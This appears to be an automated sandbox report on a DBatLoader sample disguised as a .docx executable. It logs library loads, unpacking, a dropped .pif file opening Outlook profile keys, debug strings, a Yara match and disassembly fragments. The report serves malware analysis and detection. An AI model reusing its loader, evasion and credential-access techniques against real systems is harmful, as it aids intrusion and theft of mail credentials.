Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: winhttpcom.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??????????.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Section loaded: amsi.dll	Jump to behavior

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\Public\Libraries\xzeheenC.pif

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277821297.000000002190E000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2383062167.0000000021300000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020833000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020820000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020793000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: _.pdb source: xzeheenC.pif, 00000004.00000002.3467561668.000000001CE1B000.00000004.00000020.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000003.2246468592.000000001B22B000.00000004.00000020.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468182063.000000001D270000.00000004.08000000.00040000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3471183670.000000001E2F1000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3474258234.0000000035551000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3474966321.0000000036AA0000.00000004.08000000.00040000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471014628.000000003428B000.00000004.00000020.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000003.2351649309.0000000032623000.00000004.00000020.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000003.2424661790.000000002ED4E000.00000004.00000020.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3471453220.0000000031D71000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468359572.0000000030CA0000.00000004.08000000.00040000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468030849.00000000308EB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdbGCTL source: D.G Governor Istek,Docx.exe, 00000000.00000003.2227120369.00000000218B2000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2227120369.00000000218E1000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020820000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000003.2338267499.00000000007A2000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020793000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020780000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000003.2338267499.0000000000773000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 0000000A.00000003.2418480318.000000000084F000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 0000000A.00000003.2418480318.0000000000826000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\Public\Libraries\xzeheenC.pif	Unpacked PE file: 4.2.xzeheenC.pif.400000.0.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
Source: C:\Users\Public\Libraries\xzeheenC.pif	Unpacked PE file: 9.2.xzeheenC.pif.400000.0.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
Source: C:\Users\Public\Libraries\xzeheenC.pif	Unpacked PE file: 13.2.xzeheenC.pif.400000.0.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\Public\Libraries\xzeheenC.pif	Unpacked PE file: 4.2.xzeheenC.pif.400000.0.unpack
Source: C:\Users\Public\Libraries\xzeheenC.pif	Unpacked PE file: 9.2.xzeheenC.pif.400000.0.unpack
Source: C:\Users\Public\Libraries\xzeheenC.pif	Unpacked PE file: 13.2.xzeheenC.pif.400000.0.unpack

Yara detected DBatLoader

Source: Yara match	File source: 0.2.D.G Governor Istek,Docx.exe.29c0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2280883342.000000007FC80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2245824423.0000000002366000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2157901937.000000007FBB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

.NET source code contains method to dynamically call methods (often used by packers)

Source: 4.2.xzeheenC.pif.1d270f08.3.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 4.2.xzeheenC.pif.1f670000.8.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 4.2.xzeheenC.pif.1ce5c896.2.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 4.2.xzeheenC.pif.1e2f6478.7.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 4.2.xzeheenC.pif.1e32e790.6.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 9.2.xzeheenC.pif.3558e790.3.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

Source: xzeheenC.pif.0.dr

Static PE information: 0x7BBD3E91 [Sun Oct 14 18:38:09 2035 UTC]

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe

Code function: 0_2_029D87A0 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_029D87A0

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029C32FC push eax; ret	0_2_029C3338
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029EC2FC push 029EC367h; ret	0_2_029EC35F
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029C635C push 029C63B7h; ret	0_2_029C63AF
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029C635A push 029C63B7h; ret	0_2_029C63AF
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029EC0AC push 029EC125h; ret	0_2_029EC11D
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029EC1F8 push 029EC288h; ret	0_2_029EC280
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029EC144 push 029EC1ECh; ret	0_2_029EC1E4
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029D86C0 push 029D8702h; ret	0_2_029D86FA
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029C673E push 029C6782h; ret	0_2_029C677A
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029C6740 push 029C6782h; ret	0_2_029C677A
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029CC4F4 push ecx; mov dword ptr [esp], edx	0_2_029CC4F9
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029DE5B4 push ecx; mov dword ptr [esp], edx	0_2_029DE5B9
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029CD528 push 029CD554h; ret	0_2_029CD54C
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029CCB56 push 029CCCFAh; ret	0_2_029CCCF2
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029CCB74 push 029CCCFAh; ret	0_2_029CCCF2
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029EBB6C push 029EBD94h; ret	0_2_029EBD8C
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029D7894 push 029D7911h; ret	0_2_029D7909
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: 0_2_029D68D0 push 029D697Bh; ret	0_2_029D6973
